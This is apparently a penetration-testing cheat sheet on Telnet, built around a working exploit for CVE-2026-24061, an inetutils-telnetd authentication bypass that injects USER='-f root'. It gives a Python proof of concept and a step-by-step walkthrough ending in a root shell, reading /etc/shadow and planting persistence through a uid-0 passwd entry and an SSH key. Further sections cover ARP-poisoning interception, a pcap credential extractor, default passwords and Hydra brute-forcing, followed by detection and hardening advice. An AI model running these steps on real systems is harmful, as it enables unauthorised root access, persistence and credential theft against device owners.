Overview

Telnet (TELetype NETwork, RFC 854) is a decades-old protocol operating on TCP port 23 that provides an unencrypted bidirectional text communication channel. In 2026, Telnet continues to appear in pentests and red team engagements — on embedded devices, industrial controllers, medical devices, network equipment, IoT sensors, smart building systems, and legacy operational technology. It also appears on Linux servers still running inetutils-telnetd, where a critical authentication bypass was disclosed in early 2026.

Default Port: 23/TCP


CVE-2026-24061 — inetutils-telnetd Authentication Bypass

CVSS: Critical Affected: inetutils-telnetd (specific versions on Linux using PAM) Type: Authentication bypass via TELNET environment variable injection Reference: https://github.com/leonjza/inetutils-telnetd-auth-bypass

Vulnerability Details

The Telnet protocol supports passing environment variables from client to server during option negotiation (RFC 1408 / RFC 1572 — TELNET ENVIRON option). The inetutils-telnetd implementation on Linux passes user-supplied environment variables to PAM authentication.

The critical issue: PAM’s pam_env and certain PAM modules honor a USER environment variable if it is not properly sanitized. When telnetd passes the attacker-controlled USER variable to PAM, and the value is -f root (or similar flag-injection), PAM interprets the -f flag as “pre-authenticated user.” The underlying login binary (and some PAM stacks) treat -f username as bypassing password authentication for the specified user.

Mechanism:

  1. Client connects to inetutils-telnetd on port 23
  2. During TELNET option negotiation, client sends ENVIRON with USER=-f root
  3. telnetd passes this environment to PAM/login
  4. PAM/login parses -f root as “fast login” for root — no password required
  5. Root shell is granted

Version Check

# Check if inetutils-telnetd is installed
dpkg -l inetutils-telnetd 2>/dev/null
rpm -qa | grep inetutils-telnet 2>/dev/null

# Check telnetd binary
telnetd --version 2>/dev/null || /usr/sbin/in.telnetd --version 2>/dev/null

# Check inetd/xinetd for telnetd invocation
grep telnet /etc/inetd.conf 2>/dev/null
grep -r telnet /etc/xinetd.d/ 2>/dev/null

PoC — Authentication Bypass

The bypass requires setting the USER environment variable to -f root before connecting with telnet -a (which tells the Telnet client to pass the current environment).

# Method 1: Set USER env and use telnet -a (auto-login mode)
export USER='-f root'
telnet -a TARGET_IP

# Method 2: Using env to isolate the variable
env USER='-f root' telnet -a TARGET_IP 23

# Method 3: Manual ENVIRON option injection with netcat
# Send the IAC SB ENVIRON IS NEW_ENV USER "-f root" IAC SE sequence
python3 -c "
import socket, time

TARGET = 'TARGET_IP'
PORT = 23

# Telnet IAC sequences
IAC  = b'\xff'
SB   = b'\xfa'  # Subnegotiation Begin
SE   = b'\xf0'  # Subnegotiation End
WILL = b'\xfb'
DO   = b'\xfd'
NEW_ENV = b'\x27'  # Telnet option: NEW-ENVIRON (39)
IS   = b'\x00'
NEW  = b'\x02'
VAR  = b'\x00'
VALUE = b'\x01'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
time.sleep(1)
banner = s.recv(4096)
print(f'Banner: {banner}')

# Respond to option negotiation then send USER=-f root
env_payload = (
    IAC + SB + NEW_ENV + IS +
    VAR + b'USER' + VALUE + b'-f root' +
    IAC + SE
)
s.send(env_payload)
time.sleep(1)
resp = s.recv(4096)
print(f'Response: {resp}')
s.close()
"

Full Exploitation Walkthrough

# Step 1: Confirm telnetd is running and version is vulnerable
nmap -sV -p 23 TARGET_IP
echo "" | nc -w3 TARGET_IP 23   # grab banner

# Step 2: Confirm inetutils-telnetd specifically (not busybox telnetd)
# Banner may show: "Debian GNU/Linux" login prompt via inetutils

# Step 3: Set USER environment variable to bypass PAM auth
export USER='-f root'

# Step 4: Connect with telnet auto-login flag
telnet -a TARGET_IP

# If successful: root shell without password prompt
# Expected: "Last login: ..." followed by root shell

# Step 5: Verify privilege
id
whoami
cat /etc/shadow

# Step 6: Establish persistence
echo 'root2:x:0:0::/root:/bin/bash' >> /etc/passwd
# or
ssh-keygen -t ed25519 -f /tmp/id_ed25519 -N ""
mkdir -p /root/.ssh
cat /tmp/id_ed25519.pub >> /root/.ssh/authorized_keys

Detection Check for Defenders

# Check if server is running vulnerable inetutils-telnetd
# Look for NEW-ENVIRON option support in telnetd source/config
strings /usr/sbin/in.telnetd | grep -i "environ\|USER\|-f"

# Check PAM configuration for telnet service
cat /etc/pam.d/telnet
cat /etc/pam.d/login | grep -i pam_env

# Check if USER variable is sanitized before PAM call
# (Patched versions strip leading dashes from USER env)

Nuclei Template Reference

# Run nuclei to detect telnetd exposure and fingerprint version
nuclei -u TARGET_IP:23 -t network/detection/telnet-detect.yaml
nuclei -u TARGET_IP -t network/detection/telnet-version.yaml

# Check for CVE-2026-24061 specifically
nuclei -u TARGET_IP:23 -t cves/2026/CVE-2026-24061.yaml

Recon and Fingerprinting

# Service detection
nmap -sV -p 23 TARGET_IP

# Banner grab
echo "" | nc -w3 TARGET_IP 23

# Detailed Telnet probe
nmap -p 23 --script telnet-ntlm-info TARGET_IP
nmap -p 23 --script telnet-encryption TARGET_IP

# Scan for open Telnet in a network
nmap -p 23 --open 192.168.1.0/24
nmap -p 23 --open 10.0.0.0/8 --min-rate 1000

# Check for Telnet across multiple potential ports (some devices use non-standard ports)
nmap -p 23,2323,2324,26,2300,2301 TARGET_IP

Device Identification from Banner

# Capture Telnet banner
(sleep 3; echo "") | nc TARGET_IP 23 2>/dev/null

# Telnet banners often identify:
# - Cisco IOS: "User Access Verification"
# - Juniper JunOS: "login:"
# - Linux busybox: "BusyBox"
# - inetutils-telnetd: "Debian GNU/Linux" or distribution name
# - Huawei: "Login authentication"
# - Router/switch model in banner text

inetd/xinetd Misconfigurations

On Linux systems, Telnet is commonly exposed via inetd or xinetd:

# Check if inetd is running
ps aux | grep -E "inetd|xinetd"
systemctl status inetd xinetd 2>/dev/null

# inetd.conf — Telnet entry
grep telnet /etc/inetd.conf
# If present: "telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd"

# xinetd configuration
cat /etc/xinetd.d/telnet 2>/dev/null
ls /etc/xinetd.d/ | grep telnet

# Check if port 23 is open
ss -tlnp | grep 23
netstat -tlnp | grep 23

Vulnerable inetd Configuration

A common misconfiguration is running Telnet with root privileges and no access control:

# /etc/inetd.conf (INSECURE example)
telnet  stream  tcp  nowait  root  /usr/sbin/in.telnetd in.telnetd

# /etc/xinetd.d/telnet (INSECURE example)
service telnet
{
    flags           = REUSE
    socket_type     = stream
    wait            = no
    user            = root        # Running as root!
    server          = /usr/sbin/in.telnetd
    log_on_failure  += USERID
    disable         = no          # Enabled!
    # No: only_from = restriction
}

Cleartext Credential Interception

This is the primary attack vector for Telnet — any network-position attacker (same VLAN, ARP poisoning, MITM via router, compromised switch) can capture credentials in plaintext.

Passive Capture with tcpdump

# Capture all Telnet traffic
tcpdump -i eth0 -w telnet_capture.pcap port 23

# Real-time credential extraction (Telnet sends one character at a time)
tcpdump -i eth0 port 23 -A 2>/dev/null | grep -v "^$\|IP\|listen\|ack\|seq\|win\|length\|\.23\. " | tr -d '\n'

# More targeted capture
tcpdump -i eth0 'tcp port 23' -l -A | sed -n '/^\./p'

Wireshark Analysis

# Wireshark filter for Telnet
tcp.port == 23

# Follow TCP stream to read full session
# Right-click → Follow → TCP Stream

# Filter for data packets only (exclude handshake)
tcp.port == 23 && tcp.len > 0

# Extract credentials from Telnet stream
# Telnet sends each keystroke as a separate TCP packet
# The password appears in cleartext (character by character or as a string)

Automated Credential Extraction

#!/usr/bin/env python3
"""
Parse a pcap file for Telnet credentials
Reconstructs session character by character
"""
from scapy.all import rdpcap, TCP, Raw
import sys

PCAP = sys.argv[1] if len(sys.argv) > 1 else "telnet_capture.pcap"
TARGET_PORT = 23

packets = rdpcap(PCAP)
sessions = {}

for pkt in packets:
    if TCP in pkt and Raw in pkt:
        sport = pkt[TCP].sport
        dport = pkt[TCP].dport
        payload = pkt[Raw].load

        # Skip Telnet option negotiation (IAC sequences starting with 0xFF)
        if payload.startswith(b'\xff'):
            continue

        # Track streams
        if dport == TARGET_PORT:
            key = (pkt.src, pkt.dst)
            direction = "CLIENT"
        elif sport == TARGET_PORT:
            key = (pkt.dst, pkt.src)
            direction = "SERVER"
        else:
            continue

        if key not in sessions:
            sessions[key] = []
        sessions[key].append((direction, payload))

for session, data in sessions.items():
    print(f"\n=== Session: {session[0]}{session[1]} ===")
    client_data = b""
    for direction, payload in data:
        if direction == "CLIENT":
            client_data += payload
    print(f"Client input: {client_data}")
    # Extract credentials (look for login/password patterns)
    decoded = client_data.decode('ascii', errors='replace')
    print(f"Decoded: {repr(decoded)}")

MitM Attack Scenarios

ARP Poisoning → Telnet Interception

# Step 1: Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Step 2: ARP poison (intercept traffic between victim and gateway)
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP &
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP &

# Step 3: Capture Telnet traffic
tcpdump -i eth0 -w telnet_mitm.pcap host VICTIM_IP and port 23

# Step 4: Analyze capture
# Follow TCP streams in Wireshark or use the Python script above

Using ettercap for Telnet MitM

# ettercap with Telnet plugin
ettercap -T -q -M arp:remote /VICTIM_IP// /GATEWAY_IP//

# Filter for Telnet specifically
ettercap -T -q -M arp:remote /VICTIM_IP// /GATEWAY_IP// -P telnet

Default Credentials on Common Devices

Device TypeDefault UsernameDefault Password
Cisco IOS (old)ciscocisco
Cisco IOSadmin(blank or cisco)
Juniper JunOSroot(blank)
Huawei routersadminadmin
Huaweirootadmin
MikroTikadmin(blank)
HP ProCurveoperator(blank)
D-Linkadmin(blank)
TP-Linkadminadmin
BusyBox Linux (IoT)root(blank)
Dahua DVRadminadmin
Hikvisionadmin12345
# Hydra brute force against Telnet
hydra -l admin -P /usr/share/wordlists/rockyou.txt TARGET_IP telnet

# medusa
medusa -h TARGET_IP -u admin -P /usr/share/wordlists/rockyou.txt -M telnet

# With user list
hydra -L userlist.txt -P passlist.txt TARGET_IP telnet -t 4

Nmap Telnet Scripts

# Enumerate Telnet service details
nmap -p 23 --script telnet-ntlm-info TARGET_IP

# Check encryption support (Telnet AES — rare)
nmap -p 23 --script telnet-encryption TARGET_IP

# All info scripts
nmap -p 23 -sV -sC TARGET_IP

# Script help
nmap --script-help telnet-ntlm-info

Detection and Monitoring

# Detect Telnet access via syslog
grep telnet /var/log/syslog
grep "telnetd\|in.telnetd" /var/log/auth.log

# Network-based detection — Wireshark/Suricata
# Suricata rule:
# alert tcp any any -> any 23 (msg:"Telnet Connection Attempt"; flow:to_server,established; content:"login"; nocase; sid:1000023; rev:1;)

# Zeek/Bro detection script for credential logging
# Zeek logs Telnet sessions including extracted usernames
zeek -i eth0 /opt/zeek/share/zeek/base/protocols/telnet/

Remediation

ActionImpact
Patch inetutils-telnetdFixes CVE-2026-24061 auth bypass
Disable Telnet serviceEliminates attack vector
Replace with SSHEncrypted equivalent
Firewall port 23Reduces exposure
Network segmentationLimits MitM opportunities
Change default credentialsPrevents trivial access
Upgrade firmwareMay include Telnet removal
# Disable Telnet on Linux (systemd)
systemctl stop telnet.socket 2>/dev/null
systemctl disable telnet.socket 2>/dev/null

# Disable via inetd
sed -i '/^telnet/s/^/#/' /etc/inetd.conf
service inetd restart

# Disable via xinetd
sed -i 's/disable\s*=\s*no/disable = yes/' /etc/xinetd.d/telnet
service xinetd restart

# Firewall block
iptables -A INPUT -p tcp --dport 23 -j DROP
iptables -A OUTPUT -p tcp --sport 23 -j DROP

Hardening Summary

  • Patch inetutils-telnetd immediately if running on Linux — CVE-2026-24061 allows unauthenticated root shell
  • Never use Telnet for remote administration — use SSH instead
  • Disable Telnet via inetd/xinetd and verify port 23 is closed
  • Ensure PAM configuration for telnet/login properly sanitizes environment variables — reject values with leading dashes in USER
  • If Telnet cannot be removed (legacy OT/medical), isolate the device on a dedicated management VLAN with no internet access
  • Monitor for unexpected Telnet connections in security tooling (SIEM, NDR)
  • For network equipment, mandate SSH-only management in security baseline policies
  • Implement 802.1X network access control to prevent unauthorized devices from reaching management segments

Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.